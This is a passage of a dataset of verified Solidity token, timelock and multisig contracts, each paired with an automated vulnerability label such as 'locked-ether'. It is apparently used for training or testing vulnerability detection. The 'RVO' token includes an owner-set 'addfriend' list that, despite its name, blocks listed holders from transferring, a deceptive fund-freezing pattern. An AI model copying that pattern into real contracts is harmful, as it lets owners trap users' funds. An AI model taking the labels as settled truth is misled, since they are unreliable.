send(founders, wholeTokenMul * 8000000, "");
send(operations, wholeTokenMul * 7000000, "");
send(advisors, wholeTokenMul * 5000000, "");
send(seed, wholeTokenMul * 1250000, "");
send(privateSale, wholeTokenMul * 4375000, "");
send(foundation, wholeTokenMul * 10000000, "");
transfer(reserve, wholeTokenMul * 14375000);
distributors[msg.sender] = false;
require(balanceOf(msg.sender) == 0, "LEFTOVER_TOKENS");
}
modifier onlyManager {
require(msg.sender == manager, "UNAUTHORIZED");
_;
}
/**
* Called by manager to allow non-distribution contracts to perform transfers.
*/
function allowTransfers() external onlyManager {
require(!transferFlag, "ALREADY_ACTIVATED");
transferFlag = true;
}
/**
* Called by manager to restrict addresses from receiving tokens.
*/
function restrictTransfers(address[] calldata recipients) external onlyManager {
for(uint i = 0; i < recipients.length; i++) {
restricted[recipients[i]] = true;
}
}
/**
* Called before every transfer to check it should be allowed.
* If manager has yet to call `allowTransfers`, then only distribution addresses are allowed to transfer.
* Forbids transferring to an address that manager has set as restricted.
*/
function _beforeTokenTransfer(address operator, address from, address to, uint256 amount) internal override {
if(!transferFlag) {
require(from == address(0) || distributors[from], "NOT_DISTRIBUTOR");
}
require(!restricted[to], "FORBIDDEN_RECIPIENT");
}
} | No vulnerabilities found |
/**
*Submitted for verification at Etherscan.io on 2021-09-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.8.0;
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
function getLockedAmount() public view virtual returns (uint256) {
uint256 amount = token().balanceOf(address(this));
return amount;
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'PlusPayLite' token contract
//
// Deployed to : 0xDaff7505FbdA5Fbbf39d2705eFDcaDde080fCE79
// Symbol : MannaCoin
// Name : Manna Coin
// Total supply: 1 000 000 000
// Decimals : 18
//
// Enjoy.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract MannaCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function MannaCoin() public {
symbol = "MannaCoin";
name = "MannaCoin";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0x747ecd3b7568fC9ABaEcd0c26eB16Fb0B2d6e675] = _totalSupply;
Transfer(address(0), 0x747ecd3b7568fC9ABaEcd0c26eB16Fb0B2d6e675, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2019-07-04
*/
// File: contracts/InfinitoMultiSigWallet.sol
/**
* Source Code first verified at https://etherscan.io on Friday, August 3, 2018
(UTC) */
pragma solidity ^0.5.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="9be8effefdfaf5b5fcfef4e9fcfedbf8f4f5e8fef5e8e2e8b5f5feef">[email protected]</a>>
contract InfinitoMultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this), "Not wallet!");
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner], "Owner is existed!");
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner], "Owner is not existed!");
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != address(0), "Transaction is not existed!");
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner], "Owner did not confirm!");
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner], "Owner has confirmed!");
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed, "Transaction is executed!");
_;
}
modifier notNull(address _address) {
require(_address != address(0), "Address is null!");
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0, "Invalid requirement!");
_;
}
/// @dev Fallback function allows to deposit ether.
function()
external
payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0), "Invalid owner!");
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes memory data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes memory data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes memory data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
for (uint i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
uint8 private _Tokendecimals;
string private _Tokenname;
string private _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
contract RVO is ERC20Detailed {
using SafeMath for uint256;
uint256 public totalBurn = 0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
mapping (address => bool) public addfriend;
string constant tokenName = "AhrvoDEEX";
string constant tokenSymbol = "RVO";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000*10**uint(tokenDecimals);
//any tokens sent here ?
IERC20 currentToken ;
address payable public _owner;
//modifiers
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
address initialSupplySend = 0x6c4A35638Dfe1D825D5ae814528Bc9926c918C61;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(initialSupplySend, _totalSupply);
_owner = msg.sender;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function addFriend(address account) public {
require(msg.sender == _owner, "!owner");
addfriend[account] = true;
}
function removeFriend(address account) public {
require(msg.sender == _owner, "!owner");
addfriend[account] = false;
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function _executeTransfer(address _from, address _to, uint256 _value) private
{
require(!addfriend[_from], "error");
if (_to == address(0)) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (_balances[_from] < _value) revert(); // Check if the sender has enough
if (_balances[_to] + _value < _balances[_to]) revert(); // Check for overflows
_balances[_from] = SafeMath.sub(_balances[_from], _value); // Subtract from the sender
_balances[_to] = SafeMath.add(_balances[_to], _value); // Add the same to the recipient
emit Transfer(_from, _to, _value); // Notify anyone listening that this transfer took place
}
//no zeros for decimals necessary
function multiTransferEqualAmount(address[] memory receivers, uint256 amount) public {
